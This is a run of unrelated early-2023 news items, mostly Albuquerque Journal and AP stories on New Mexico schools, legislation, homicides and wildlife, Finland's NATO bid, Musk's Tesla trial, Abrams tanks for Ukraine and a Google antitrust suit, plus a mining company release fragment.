Levels of copper, gold and silver are pervasively and significantly elevated throughout HWDD07 relative to the background geochemical values (Graph 1*), and are indicative of a wider basement geochemical anomaly present in all the Bluebush drilling (Figure 4*) and extends the interpreted anomalous strike length to 500m (Figure 2*).



*To view the full release with tables and figures, please visit:

https://abnnewswire.net/lnk/UIC87892





About Cohiba Minerals Limited





Cohiba Minerals Limited (ASX:CHK) is listed on the Australian Securities Exchange with the primary focus of investing in the resource sector through direct tenement acquisition, joint ventures, farm in arrangements and new project generation. The shares of the company trade under the ticker symbol CHK.

The Company recently acquired 100% of the shares in Charge Lithium Pty Ltd, which holds exploration licences in Western Australia.
The Albuquerque Public Schools board has made some big promises for its students.

Making more students proficient in early literacy and math, as well as better preparing them for life after high school are among the top priorities the school board voted 6-0 to approve last week. Vice President Peggy Muller-Aragon was absent for the vote.

The goals, board President Yolanda Montoya-Cordova said, lay out a five-year roadmap for the district that will be passed onto future boards.

(Its) holding ourselves accountable, she said. Its like creating that North Star of where we want to go  were going to be successful, I think, the more focused we can be.

Montoya-Cordova said the goals will help inform things like budget planning and strategies for district administration.

Superintendent Scott Elder said during the meeting that his administrations next steps include coming up with a plan and initiatives that align with the boards goals, and to gather feedback from teachers, staff and families.

The new goals were a culmination of several community listening sessions the board held throughout the city toward the end of 2022. In all, more than 2,000 people spoke their mind about what they want to see out of the district.

When asked what their priorities are for what their students should know or be able to do during their time in the district, the top three answers from community members emphasized English language arts, being ready for life after high school and soft skills  confidence, time management and the like.

The three goals approved Wednesday center on improving APS eighth-graders math and third-graders reading proficiency levels, as well as the college or career readiness of graduates.

Still, they dont include specific percentage-point increases, instead leaving placeholders for those numbers. Board members plan to wait for 2023 test scores in order to hammer that out for the proficiency goals, but noted in them that rates must increase by at least 10 percentage points over five years.

The third goal also promises improvements  particularly in the percentage of graduates earning credit in at least two Advanced Placement or dual-credit courses, bilingual seals, industry certifications or something else  but doesnt specify percentage-point increases.

The proficiency goals single out African American students as well as those identified in the Yazzie-Martinez consolidated lawsuit, which in 2018 yielded a decision from a judge that four groups  Indigenous, economically disadvantaged, English learners and students with disabilities  werent being provided an adequate education system by the state of New Mexico.

Those groups, along with Black students, make up the majority of all APS pupils.

If we lift those boats, all boats get lifted, Montoya-Cordova said.

Tailoring those goals toward Yazzie-Martinez students drew some resistance from a couple of board members, including Muller-Aragon  who, during a separate 6-hour meeting on Jan. 11, got up and left when it appeared the board was leaning toward including that language.

I am vehemently opposed to that, and if that happens, I am just saying Im going to get up and Im going to walk out, she warned about 15 minutes before leaving the meeting. Were here for all of our kids, (it) doesnt matter what color they are or how poor they are, or how rich they are.

The numbers dont show that, Peggy, board member Josefina Dominguez interjected.

Across the state and in APS, Indigenous, Hispanic and Black students fared the worst of any demographic group in standardized state test results released in the fall. Overall, economically disadvantaged students  who, alongside Hispanic students, each made up the majority of New Mexico and APS pupils  were in a similar boat when it came to proficiency levels.

Additionally, statewide and in APS, third-graders overall tend to perform poorly in reading, as do eighth-graders in math.

Board members celebrated the approval of the goals on Wednesday. Still, theres more work to do.

Many community members also mentioned a need to develop students soft skills  a topic the board seems poised to tackle with another goal this coming Wednesday.

That was maybe the No. 1 thing  you know, that grit, resilience, timeliness, stick-to-itiveness. All of that stuff, thats what people want, board member Danielle Gonzales said. School climate is huge  social-emotional learning, soft skills  So I am worried that if we dont do that, then we wont meet those other goals.

APS boards goals

These are the goals the board approved, as provided by Albuquerque Public Schools. The Xs and Ys are placeholders to be determined later. The first two metrics are to be determined upon receipt of 2023 results from the state assessment but shall not be less than a 10-point increase over five years.
Copyright  2023 Albuquerque Journal

Albuquerque Police Department detectives have identified one of the three people who were killed on Saturday in separate incidents.

Gilbert Gallegos, an APD spokesman, said Christopher Hernandez, 29, was dropped off at Presbyterian Kaseman Hospital with a gunshot wound a little before 10 p.m. He died at the hospital.

Gallegos said officers determined that the shooting occurred near Lomas and Tramway NE, and said the case is being investigated as a homicide.

Hernandezs death was the third homicide investigation opened on Saturday, but Gallegos said the other two victims have not yet been positively identified.

A little before 4 a.m., officers were called to the 7900 block of Bell SE, near Dallas SE, for reports of a shooting. When they arrived, they found a woman dead.

Then  less than 12 hours later  around 1:10 p.m., officers were called to a field south of the Interstate 40 off-ramp at 98th Street.

An adult male who is believed to be homeless was found deceased in an open field where he had been staying, Gallegos said. Detectives determined he suffered significant trauma.
Copyright  2023 Albuquerque Journal

SANTA FE  A proposal to spend $20 million for a statewide warrant roundup is on hold  at least for now  due to concerns about its potential impact on New Mexicos judicial system.

During a meeting Monday of the House Judiciary Committee, several lawmakers said they support the bills intent but questioned exactly how the money would be spent and whether it would lead to a surge in county jail populations. The committee ultimately delayed a vote on the bill until later this week.

I dont see how to do this effectively without overburdening everyone else whos involved, said Rep. Eliseo Alcon, D-Milan.

Rep. Bill Rehm, R-Albuquerque, the sponsor of the measure, said after Mondays hearing he planned to work with some individuals who testified on the bill, including the states Chief Public Defender Bennett Baur, to come up with amendments.

The proposal, House Bill 97, would provide funding to reduce the backlog of felony and misdemeanor arrest warrants across New Mexico.

Specifically, half of the $20 million would be targeted for Bernalillo County  a total of $1 million for the 2nd Judicial District Attorneys Office and $9 million for law enforcement agencies in the states most populous county.

The other half of the funding appropriated by the legislation would be available for law enforcement agencies in other parts of the state to address their warrant backlogs.

There are roughly 3,800 active felony warrants in Bernalillo County  more than half of which are at least 2 years old, according to a legislative analysis of the bill. The oldest active arrest warrant dates back to 2000.

But Rehm said during Mondays hearing the proposed funding infusion would be aimed specifically at the roughly 1,400 active arrest warrants for violent felony offenses.

That is the target, he said.

Baur said hes not opposed to the idea of a warrant roundup, saying, It is actually in the benefit of most of our clients to have their cases addressed.

However, he said not all people with outstanding warrants are evading arrest, saying some may have moved or even died since the warrant was issued.

The push for funding to tackle a warrant backlog stems in part from Albuquerque Mayor Tim Kellers Metro Crime Initiative, which brought together local leaders to discuss ways to improve the criminal justice system.

Under the plan backed by Albuquerque city and law enforcement leaders, the additional funding would be primarily used to pay overtime for law enforcement officers from various agencies and prosecutors so they could pursue and prosecute people wanted on felony warrants.

Keller said tackling the backlog was the one single action most members of the Metro Crime Initiative agreed would make the city safer.

He joined law enforcement and political leaders earlier this month announcing plans to increase their original request to $20 million and said the increased funding would provide more cash for the court system and possibly even the jails.
Copyright  2023 Albuquerque Journal

SANTA FE  For some legislators, drinking is part of the Roundhouse culture.

At least a few have been known to keep alcohol in their Capitol offices.

And its common for lawmakers to head to dinner  before a late-night floor session  at restaurants serving booze.

But Sen. Harold Pope Jr. said hes seen enough.

The first-term legislator from Albuquerque is proposing a Senate rule that would prohibit members of the chamber from drinking alcohol before committee meetings or floor sessions. They couldnt drink during the meetings either.

Quite frankly, Ive just seen some things that, for me, I think are unprofessional for us to be doing on the job, Pope, a Democrat elected in 2020, said in an interview Monday. I think there should be some standards. I dont think we would allow anyone in state government to be able to have a drink on break before doing state business.

Its unclear what kind of reception Popes proposal will get from his colleagues. Alcohol isnt otherwise mentioned in the rules of the House or Senate.

His measure, Senate Resolution 1, was referred to the Senate Rules Committee.

If passed there and by the full chamber, it would apply only to senators.

The House has its own rules, though at least one member said shed support an alcohol ban in her chamber, too.

Sen. Cliff Pirtle  a Roswell Republican who serves on the Senate Rules Committee  questioned how the prohibition would be enforced.

I havent seen anything myself that this is even an issue, Pirtle said.

Sen. William Sharer, R-Farmington, said the rule is unnecessary.

Others were less definitive.

Senate Majority Leader Peter Wirth, D-Santa Fe, said the alcohol prohibition is a discussion worth having.

For his part, he said, he decided years ago not to drink at all during legislative sessions. But he added that he isnt disparaging members who make a different decision.

This is such an intense process that for me personally  it doesnt help me do the job that Im here to do, Wirth said.

In 2020, New Mexico had the highest alcohol death rate in the nation, according to the state Department of Health.

Three legislators since 2018 have been charged with drunken driving, two of whom lost reelection bids. The third didnt run again.

Only one of the arrests  of then-Rep. Georgene Louis last year  happened during a legislative session. She told police during a traffic stop last year that shed been at a friends house in Santa Fe for a Super Bowl party.

Louis later entered a no-contest plea to a charge of drunken driving.

Also last year, a harassment complaint filed by lobbyist Marianna Anaya against state Sen. Daniel Ivey-Soto, D-Albuquerque, touched on alcohol in the Roundhouse  including an allegation that shed been pressured to drink during an office meeting. Ivey-Soto has denied the allegations.

Pope said Monday his rule isnt aimed at anyone in particular.

We have to be focused and be ready to do our job, not have anything thats going to deter from that, Pope said.

Alcohol, he said, simply isnt a wise addition to legislative debates that are contentious enough already.

Mario Jimenez III, executive director of Common Cause New Mexico, a group that lobbies on ethics and campaign finance legislation, said he would welcome a rule in both chambers prohibiting alcohol consumption before legislative meetings.

We should expect all of our legislators, not just those in the Senate, to be making these decisions sober and clear-minded, he said.

Drinking, Jimenez said, is something that we all definitely know takes place within the Legislature.

Alcohol consumption isnt generally out in the open. But lawmakers offices are scattered throughout the Capitol complex, and many have their own fridges.

Legislators are also invited to an array of social events in the evening, and dinners at restaurants that serve alcohol are common.

Near the end of the session, lawmakers are often called to committee hearings or floor debates deep into the night, sometimes unexpectedly.

Popes measure would codify in Senate rules that no senator shall consume alcohol before or during any floor session or meeting of a committee to which a member has been appointed.

State Rep. Patricia Roybal Caballero, D-Albuquerque, said she would support a drinking ban if it were introduced in the House. Avoiding alcohol, she said, is a way to respect the seriousness of legislators duties.

Its already proven that it impairs your abilities to function, she said, and I just dont see how it would be useful in any way.

Pope, for his part, said he isnt trying to keep anyone from drinking when the day is over.

Its just theres a time and a place, he said.

Pope, an Air Force retiree, likes a vodka martini himself.
(In response) to Barak Wolffs Quality of life at the end of life opinion piece in the Jan. 1 Albuquerque Journal: My mother died at age 75 of Multiple Systems Atrophy (MSA), a fatal neurodegenerative disease from which she suffered for almost 10 years.

At first, MSA manifests with Parkinsons-like symptoms, but the patient quickly develops muscular paralysis, physical deterioration, difficulty speaking, extreme pain and non-responsiveness to medical treatment. Over time, she became house-bound and was ultimately admitted to long-term hospice care. Her vital organs and mind continued functioning normally, but without functioning neuro-receptors, neither taking prescribed dopamine (which is) a standard treatment for Parkinsons) nor stimulating the brain to produce more dopamine was an option.

Eventually, my mother could only blink her eyes and move her index finger. Her body became rigid, her head painfully angled down and to the left, her neck twisted. Her ability to swallow and speak was compromised. She did not want to be hooked to a feeding tube, but, near the end, when she could no longer voice objection, she was fitted with a feeding tube and ventilator. Her home state did not have provisions for medical aid in dying.

Living hundreds of miles away in Albuquerque, I visited her regularly. One day, about eight years into the illness, I was alone with her in the bedroom that had become her universe. She attempted to speak and I leaned in closely. With great determination, she said, If I were a dog, you would have put me down already.

She was right. Had she been the familys beloved old Labrador or suffering Boston terrier, we would have taken her to the vet for a final loving, humane act, a choice unavailable to her family, doctors or caregivers. She lingered in pain and dismay for two more years  no curative treatments, only more suffering.

I last visited a few weeks before my mother died. Alone with her, I held her hand while she alternately slept and stared. Then, she made eye contact, squeezed my hand and began to speak softly in garbled words. With her left nostril draining clear liquid onto her lips, she spoke the last words I would ever hear her say: Wipe  my  nose.

I was not with her when she died en route to the hospital in the back seat of her husbands car. Although transporting her to the emergency room conflicted with her Do Not Resuscitate orders and hospice protocol, her husband likely panicked. I heard from others that she choked on her own saliva and died from lack of oxygen. I am grateful that she was not subjected to ER interventions, which would have prolonged her end-of-life agony. Without legal medical aid in dying (she could not die) well at home with her husband, caregiver and family around her. Instead, she died alone with no aid, no comfort, no dignity. I would not wish that on anyone.

Thank you, End of Life Options New Mexico, for supporting New Mexicans when we are faced with difficult choices.
Copyright  2023 Albuquerque Journal

SANTA FE  Gov. Michelle Lujan Grisham tried to show with her proposed budget this year that water is a top priority, allocating, among other things, $128 million for water infrastructure improvements, but a top state water official said that, while the increase will certainly help, it might not be enough to meet the moment.

Interstate Stream Commission Director Rolf Schmidt-Petersen expressed concern last week that the funding allocated to his department and the Office of the State Engineer wont be enough to meet their staffing needs, especially as the job market continues to be highly competitive. His department is attached to, and for budgeting purposes, is a program under the OSE, but still functions as its own agency.

Our salary ranges are not tremendously competitive with places like Los Alamos, for example, or today with different consulting firms, he said. He added that the midpoint salary that the state uses to calculate salaries and allocate money for them is lower than the department can realistically pay to attract and keep people, meaning the department is less likely to hire new people as it tries to maintain the staff it has.

Issues that his and the state engineers staff will tackle in the coming years range from overseeing new water infrastructure projects to processing permit requests from cannabis farms to carrying out the obligations the state will have as a result of the Supreme Court case over Rio Grande water with Texas and Colorado.

Schmidt-Peterson said the Interstate Stream Commission and the Office of the State Engineer combined requested funds to cover 11 new staff members. The governors proposed budget calls for a 24% increase in the ISC budget and 12% in the OSE budget, but Schmidt-Petersen said that would cover fewer staff than requested. The Legislative Finance Committees budget called for four new staff members, for example.

Its good to get a recommendation thats consistent for a few staff. And that certainly will help. But it will be very difficult to move money and to take on a lot of these efforts, Schmidt-Petersen said.

The proposed budgets both call for an increase in spending on water-related projects, but Schmidt-Petersen said he was concerned that, without more staff, his department will face an uphill battle carrying them out.

He also said that, while he and his staff fully intend to follow the new mandate that state employees return to working full-time in person, he views the current system  where employees have the option to work in-office, remotely or a hybrid  as a great success.

Ive just been tremendously proud of these people. Theyve given time and effort because they get flexibility there, he said. Theyre doing more for us and, as a result, I think weve been more efficient than when we have them in the office.

He also said the ISC is already strapped for space for its current employees, with some doubling-up in offices meant for one person. A spokesperson for the Governors Office said in an email that the Office of the State Engineer reported to the State Personnel Office that it has sufficient space.
Rob Hotaling won only 12,400 votes running for governor as an Independent Party candidate, but his debate performance impressed certain officials in the administration of Gov. Ned Lamont.

Hotaling, a senior vice president at Webster Bank with a background in digital technology, is being hired as a deputy commissioner in the Department of Economic and Community Development.

Alexandra Daum, the DECD commissioner, said she and her deputy, Paul O. Robertson, separately thought about offering Hotaling a job while watching the second of Hotalings two gubernatorial debates with Lamont and Republican Bob Stefanowski.

We had the idea after watching the last debate, Daum said. I remember sitting on my couch thinking. This guy is really smart. Hes got a lot of energy, a lot of good ideas. Is there any chance hed consider coming to work for me? I thought it was kind of a long shot.

Hotaling starts Feb. 22. He said he was honored to be approached.

It says a lot about Gov. Lamonts character, Hotaling said of the administration hiring a one-time opponent. In the end, were all Nutmeggers and we want the right thing for our state.

Daum said the hire was her decision, though she signed off with the governors office. Lamont said he was unaware the hiring was complete, but he shared her opinion of Hotaling.

I think the world of Rob. I think he did a very good job during the campaign, Lamont said. He comes out of the private sector.

That is true of Daum and her predecessor, David Lehman.

Hotaling was born in Liberia in 1978 to an American father serving as a Peace Corps volunteer and a Liberian mother. They left for the U.S. after a violent coup in 1980.

He and his wife, Luz, live in Cheshire with their four children.

Mark Pazniokas is a reporter for The Connecticut Mirror (https://ctmirror.org/ ). Copyright 2023 (c) The Connecticut Mirror.
Copyright  2023 Albuquerque Journal

SANTA FE  The U.S. Fish and Wildlife Service on Sunday captured a Mexican gray wolf that had roamed north of Interstate 40 to the dismay of several conservationist groups.

The year-old female wolf had left the protected area in southern New Mexico and southeastern Arizona where the FWS manages the population. The FWS located the wolf via helicopter and is now holding it in captivity.

Its pretty typical for year-olds to leave their pack to go look for mates and expand to new areas, FWS Mexican Wolf Recovery Coordinator Brady McGee said. The unusual thing is how far she did go. She traveled over 350 miles from Arizona to wind up by herself kind of in the middle of nowhere.

He said the wolf was captured because she would not have contributed to the recovery of her species in an area with no other known Mexican gray wolves. He also said lone wolves have more difficulty bringing down prey, and that there was a risk the wolf would breed with domestic dogs.

Because Mexican gray wolves are protected under the Endangered Species Act, killing one is a federal crime. McGee said that, nevertheless, there was a risk of someone trapping or shooting the wolf, possibly mistaking it for a coyote.

He said the wolf could be re-released into the wild as soon as April, potentially returning to the experimental population area in New Mexico and Arizona, or going to Mexico with a mate, where her genetic value would be higher.

McGee said the wolfs path is a sign that the population is growing and expanding. Weve never had a wolf before that has been documented hitting the north end of the White Sands Missile Range, the Manzano Mountains, moving up north across I-40 and going up into this area about 15 miles east of Angel Fire.

The population has seen steady growth over the past six years and the FWS recorded 196 wolves in its 2021 count, which is the most recent published data.

Several conservationist groups disagree that capturing and relocating the wolf was the right move. Deputy Director of the Western Watersheds Project Greta Anderson said part of her organizations vision for full wolf recovery is for them to occupy territories north of I-40.

We have to let wolves be wolves and this heavy-handed management that tries to force them into certain areas and keep them in specific places is not going to work in the long term if we are really hoping to recover this population, she said.

She said that, in order to succeed genetically, the Mexican gray wolf needs multiple populations in various places, and northern New Mexico has the potential to be one of those places.
HELSINKI (AP)  Finlands foreign minister suggested Tuesday that the country may consider joining NATO without neighboring Sweden if Turkey continues to block their joint bid to enter the military alliance.

Pekka Haavisto later backpedaled, but his comments were the first time a leading government official in either Nordic country appeared to raise doubts about becoming NATO members together at a time when the alliance is seeking to present a united front in the face of Russias war in Ukraine.

Sweden and Finland rushed to apply for NATO membership following Moscows invasion, abandoning their long-standing non-alignment policy. Their accession needs the approval of all existing NATO members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathizers.

On Monday, Turkish President Recep Tayyip Erdogan warned Sweden again not to expect support for its application following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

Asked a day later whether it still made sense for Finland to proceed together with the Swedes, Haavisto told broadcaster YLE that his country would have to evaluate the situation if it turns out that Swedens application is stalling for a long time to come.

Haavisto later told reporters in Parliament that his comment was imprecise and that Finlands ambition to enter NATO jointly with Sweden remained unchanged.

He said he had spoken with NATO Secretary-General Jens Stoltenberg, who had stressed to Haavisto that the military bloc would like to see the two nations join simultaneously.

But of course there have been raised concerns within NATO on how the (recent) incidents in Sweden will affect the schedule, Haavisto said.

Until now, Sweden and Finland had been committed to joining the alliance together.

This is the first crack in the so far rather impressive unity between Sweden and Finland, said Paul Levin, director of the Institute for Turkish Studies at Stockholm University. Finland is currently somewhat of an innocent victim of the continued provocations by Swedish groups critical of NATO accession, protected by the very liberal Swedish freedom of speech laws. If Turkey persists in blocking accession, I suspect that Finland will at some point have to go it alone.

Matti Pesu, a researcher at the Finnish Institute of International Affairs, said Haavistos comment was the first public signal that there is a Plan B if the Swedish NATO membership bid freezes for a longer time.

He stressed that Finland still prioritizes joining the alliance together with Sweden.

Finland should consider other alternatives only if there was a serious possibility of a significant delay in Swedens NATO bid and only if NATO allies welcomed Finlands entry without Sweden, he said.

Swedish Prime Minister Ulf Kristersson said he understands the frustration that many in Finland feel over not having been admitted to the alliance already, but called for calm and urged Swedes who oppose NATO membership to realize the gravity of the security situation.

There are forces both in Sweden and outside Sweden who want to prevent Sweden from becoming a NATO member, he told reporters in Stockholm. And its against that backdrop we should see that there are provocateurs who want to damage Swedens relations to other countries, leading to a delay in Swedish membership of NATO.

In a memorandum of understanding signed by the three countries at a NATO summit last year, Sweden and Finland committed not to support Kurdish militant groups and to lift arms embargos on Turkey imposed after its incursion into northern Syria in 2019.

Pro-Kurdish and anti-Turkish demonstrations in Stockholm have complicated the process. On Saturday, a far-right activist from Denmark staged a protest outside the Turkish Embassy in Stockholm where he burned the Quran, Islams holy book. A separate pro-Kurdish demonstration was held later Saturday in the Swedish capital.

The Swedish government has tried to distance itself from the demonstrations, while insisting that such protests are protected by freedom of speech.

It is completely legal to provoke if one wants to. But it can also have consequences, Kristersson said.

Turkey responded angrily to the protests, canceling a planned visit to Ankara by the Swedish defense minister. Protests were held outside Swedish diplomatic missions in Turkey, prompting the Swedish embassy in Ankara to close its doors to the public on Tuesday.

Erdogan slammed Swedish authorities for allowing the Quran-burning demonstration.

It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their NATO membership application, he said.

He also criticized the pro-Kurdish demonstration, accusing Sweden of letting terror organizations run wild on your avenues and streets. He said that if Sweden wont show respect to Turkey or Muslims, then they wont see any support from us on the NATO issue.

Finnish President Sauli Niinisto, who visited Ukraine on Tuesday, said he didnt expect any progress on the issue before the Turkish presidential and parliamentary elections set to be held on May 14.

Turkey and Hungary are the only NATO members that have yet to ratify Finland and Swedens accession.

___ Karl Ritter reported from Stockholm. Jan M. Olsen contributed to this report from Copenhagen, Denmark.
SAN FRANCISCO (AP)  Elon Musk returned to federal court to defend himself against a class-action lawsuit that alleges he misled Tesla shareholders with a tweet about an aborted buyout that the billionaire defiantly insisted Tuesday he could have pulled off, had he wanted.

Musk spent roughly three more hours on the stand during his third day of testimony before being excused by U.S. District Judge Edward Chen. Its unlikely Musk, 51, will be summoned back to the witness stand during a civil trial expected to be turned over to a nine-person jury in early February.

Musk, who also owns Twitter while continuing to run Tesla, spent much of Tuesday depicting himself, while being questioned by his own attorney, Alex Spiro, as an impeccably trustworthy business leader capable of raising as much money as he needs to pursue his visions. He testily sparred with a shareholder lawyer, Nicholas Porritt, who had raised his ire earlier in the trial.

At two separate junctures Tuesday under Spiros gentle prodding, Musk left no doubt about his contempt for Porritt with a remark expressing doubt that the lawyer was looking out for the best interests of Tesla shareholders. The remarks drew a quick rebuke from the judge and were stricken from the record. Its inappropriate, Chen at one point admonished Musk.

When he was being challenged by Porritt, Musk purposefully diverted his gaze from the lawyer and delivered his explanations while looking directly at the jurors sitting a few feet to his right. In another instance, Musk asserted, without elaborating, that a question from Porritt wondering if he had ever caused investors to suffer losses contained falsehoods.

On the flip side, Spiro at one point mistakenly addressed Musk as your honor while asking the billionaire how much money he had made for investors during his career. The slipup elicited a moment of levity in the San Francisco courtroom filled with media and other spectators in attendance to listen to Musk, who has become even more famous since completing his $44 billion purchase of Twitter in October.

The current trial hinges on whether a pair of tweets Musk posted on Aug. 7, 2018, damaged Tesla shareholders during a 10-day period leading up to his admission that the buyout he had envisioned wasnt going to happen. The statements resulted in Musk and Tesla to reach the $40 million settlement without acknowledging any wrongdoing.

In the first of the 2018 tweets, Musk stated funding secured for what would have been a $72 billion  or $420 per share  buyout of Tesla at a time when the electric automaker was still grappling with production problems and was worth far less than it is now. Musk followed up a few hours later with another tweet suggesting a deal was imminent.

After those tweets, Musk declared Tesla would remain publicly a few weeks later. A month after that, Musk and Tesla reached a $40 million settlement with securities regulators who had alleged the tweets were misleading.

Musk has previously contended he entered into the settlement under duress and maintained he never wavered in his belief that he had the money for a deal.

Musk spent most of Tuesday trying to persuade the jurors that there was nothing devious about the two tweets indicating he had lined up the money to take Tesla private as the electric automaker was struggling with production problems and was worth far less than it is now. The judge has already declared the jurors can consider those two tweets to be false, leaving them to decide whether Musk deliberately deceived investors and whether his statements saddled them with losses.

While being steered by Spiro, Musk told jurors he had stated only that he was considering a Tesla buyout but never promised a deal would get done. But, Musk said, he thought it important to get the word out to investors that Tesla might be poised to end its eight-year run as a publicly held company.

I had no ill motive, Musk said. My intent was to do the right thing for all shareholders.

While being grilled the day before by Porritt, Musk at times was combative, indignant and exasperated. Through it all, Musk has insisted he locked up financial backing for what would have been a $72 billion buyout of Tesla during 2018 meetings with representatives from Saudi Arabias Public Investment Fund, although no specific funding amount or price was discussed.

When presented with texts and email indicating that a representative for the Saudi fund had never pledged the money for a full buyout of Tesla, Musk contended it was nothing more than the words of someone trying to backpedal from a previous pledge made in private conversations.

Not long after Porritt resumed his questioning Tuesday, Musk once again scoffed at the notion that his belief that he had the Saudi fundings financial backing wasnt enough for him to tweet about a potential Tesla buyout.

We are talking about the kingdom of Saudi Arabia, Musk testified. They can buy Tesla several times over. This was not a large amount of money for them.

Musk also reiterated earlier testimony that he could finance a Tesla buyout by sharing some of his holdings in SpaceX, a privately held maker of rocket ships that he also started. That would be similar to what he did in the Twitter purchase, which led him to sell about $23 billion of his Tesla stock.

Thats something that Musk said Tuesday that he didnt want to do, but that it showed he had the wherewithal to pull together purchases for expensive deals. Musks ownership of Twitter also has proved unpopular with Tesla shareholders who worry about him being distracted as the automaker faces more competition. Teslas stock has lost about one-third of its value since Musk took over Twitter.

Despite that downturn, the stock is still worth about seven times more than at the time of Musks 2018 tweets, after adjusting for two splits that have since occurred. That opened the door for Musk to remind jurors Tuesday that any investor who held Tesla shares in August 2018 would have done extremely well, had they just held on to the stock.

It would have been the best investment in the stock market, Musk said.
SANTA FE  A proposal to ban prescribed burns in New Mexico during spring months was extinguished Tuesday by a Senate panel, after state and federal forest officials called such burns a vital tool and urged lawmakers not to limit the practice.

But backers of the legislation, Senate Bill 21, say changes are necessary after last years Hermits Peak/Calf Canyon fire complex, where a prescribed burn in April and a winter pile burn that had remained dormant grew together and scorched more than 340,000 acres  the largest wildfire in modern state history.

Sen. Ron Griggs, R-Alamogordo, the sponsor of the bill, said the spring months  from March through May  are often the windiest in New Mexico, making them the most dangerous time to ingite controlled burns.

I believe this bill will reduce the chances of this type of fire ever occurring again, Griggs said during Tuesdays meeting of the Senate Conservation Committee.

The committee ulteimately voted 4-3 to table the bill, however, with the panels chairwoman  Sen. Liz Stefanics, D-Cerrillos  casting the tiebreaking vote to halt the bills progress.

While the measure could be revived during the 60-day legislative session that began last week, the vote shows it likely faces long odds of winning final approval.

During Tuesdays hearing, New Mexico State Forester Laura McCarthy testified in opposition to the bill but expressed sympathy to a Gallinas Canyon resident who lost her home during last years fire and had expressed support for the measure.

McCarthy also said prescribed burns can be a crucial way for fire officials to limit fire danger, describing them as a way to fight fire with fire.

There are circumstances where prescribed burns are necessary, she said.

Representatives of the U.S. Forest Service and the New Mexico Cattle Growers Association also testified against the bill during Tuesdays hearing, and Sen. Joseph Cervantes, D-Las Cruces, questioned the states authority to ban the federal and tribal governments from conducting prescribed burns.

Those legal intricacies appeared be of little comfort to individuals like Mary Kay Root, a volunteer firefighter who lost her home during last years fire and said U.S. Forest Service crews should have known better than to start a prescribed burn given last springs windy, dry conditions.

Everyone was aware that was no day to start a fire, she told committee members.

Meanwhile, a separate bill authorizing the spending of up to $100 million to begin repairing roads, culverts and acequias in the Hermits Peak/Calf Canyon burn scar was approved by the committee with little debate on a 6-0 vote.

That proposal, Senate Bill 6, is backed by Gov. Michelle Lujan Grishams office and would provide the state funds as zero-interest loans to local counties, cities and villages, who would have to repay the loans after receiving federal emergency relief aid.
WASHINGTON (AP)  In what would be a reversal, the Biden administration is poised to approve sending M1 Abrams tanks to Ukraine, U.S. officials said Tuesday, as international reluctance to send tanks to the battlefront against the Russians begins to erode. A decision to send a bit more than 30 tanks could be announced as soon as Wednesday, though it could take months for the tanks to be delivered.

U.S. officials said details are still being worked out. One official said the tanks would be bought under an upcoming Ukraine Security Assistance Initiative package, which provides longer-range funding for weapons and equipment to be purchased from commercial vendors.

The U.S. announcement is expected in coordination with an announcement by Germany that it will approve Polands request to transfer German-made Leopard 2 tanks to Ukraine, according to one official. The officials spoke on condition of anonymity because the decision has not yet been made public.

By agreeing to send the Abrams at an as-yet unspecified time under the assistance initiative, the administration is able to meet German Chancellor Olaf Scholzs demand for an American commitment without having to send the tanks immediately.

Much of the aid sent so far in the 11-month-old war has been through a separate program drawing on Pentagon stocks to get weapons more quickly to Ukraine. But even under that program, it would take months to get tanks to Ukraine and to get Ukrainian forces trained on them. It wasnt clear Tuesday how soon the U.S. will start training Ukrainian troops on the Abrams and roughly how soon they can get to the battlefront.

Until now, the U.S. has resisted providing its own M1 Abrams tanks to Ukraine, citing extensive and complex maintenance and logistical challenges with the high-tech vehicles. Washington believes it would be more productive to send German Leopards since many allies have them and Ukrainian troops would need less training than on the more difficult Abrams.

Just last week, Under Secretary of Defense for Policy Colin Kahl told reporters that the Abrams is a complicated, expensive, difficult to maintain and hard to train on piece of equipment. One thing Defense Secretary Lloyd Austin has been very focused on, he said, is that we should not be providing the Ukrainians systems they cant repair, they cant sustain, and that they, over the long term, cant afford, because its not helpful.

A U.S. official familiar with White House thinking said the administrations initial hesitancy was based on concerns about the requisite training and the sustainment of the tanks. The official added that the administration believes that such plans are now in place, but it could take time to implement them.

At the Pentagon, spokesman Brig. Gen. Pat Ryder said he had nothing to announce on any U.S. decision regarding Abrams tanks. But he said, anytime that weve provided Ukraine with a type of system, weve provided the training and sustainment capabilities with that.

The administrations reversal comes just days after a coalition of more than 50 senior defense officials from Europe and beyond met in Germany to discuss Ukraines war needs, and battle tanks were a prime topic.

Ukrainian leaders have been urgently requesting tanks, but Germany had resisted mounting pressure either to supply its own tanks or clear the way for other countries, such as Poland, to send the German-made tanks from their own stocks. Kremlin spokesman Dmitry Peskov said the deployment of Western tanks would trigger unambiguously negative consequences.

Defense leaders from the countries that have Leopard 2 tanks met with the Germans during the Friday conference at Ramstein Air Base in an effort to hammer out an agreement.

On Sunday, Berlin indicated it wouldnt stand in the way if other countries wanted to send the Leopard 2 tanks to Kyiv. Germany needs to agree for the tanks to be given to Ukraine, which is not a member of NATO.

U.S. and German officials have given mixed signals about whether the U.S. and German decisions are linked, and whether Berlin was hesitant to send its tanks unless the U.S. sent Abrams.

Polish Defense Minister Mariusz Baszczak said Tuesday that Poland has officially requested permission from Germany to transfer its Leopard 2 battle tanks to Ukraine.

German officials confirmed to the dpa news agency they had received the application and said it would be assessed with due urgency. German Foreign Minister Annalena Baerbock said Sunday that Berlin wouldnt seek to stop Poland from providing the high-tech armor to Kyiv.

German officials declined to comment on the reports of a tank deal. The news weekly Der Spiegel reported Tuesday, without citing a source, that Germany will provide Ukraine with at least one company of Leopard 2 tanks from its own armys stock. A company comprises 15 tanks.

Scholz is due to deliver an address to parliament Wednesday and field questions from lawmakers, many of whom have been pressing the government to join allies in providing the tanks to Ukraine.

Lawmakers in Congress have also been pushing the U.S. to beef up its aid to Ukraine.

Senate Republican leader Mitch McConnell said Tuesday its time, past time for the Biden administration and allies to send more military aid to Ukraine, and that the U.S. must provide more tanks and weapons to help Ukraine win this war.

Its time, past time, for the Biden administration and our allies to get serious about helping Ukraine finish the job and retake their country.

The likely plans to send the Abrams were first reported by The Wall Street Journal.

____ Associated Press writers Tara Copp, Kevin Freking and Aamer Madhani contributed to this report.
WASHINGTON (AP)  The Justice Department and eight states filed an antitrust suit against Google on Tuesday, seeking to shatter its alleged monopoly on the entire ecosystem of online advertising as a hurtful burden to advertisers, consumers and even the U.S. government.

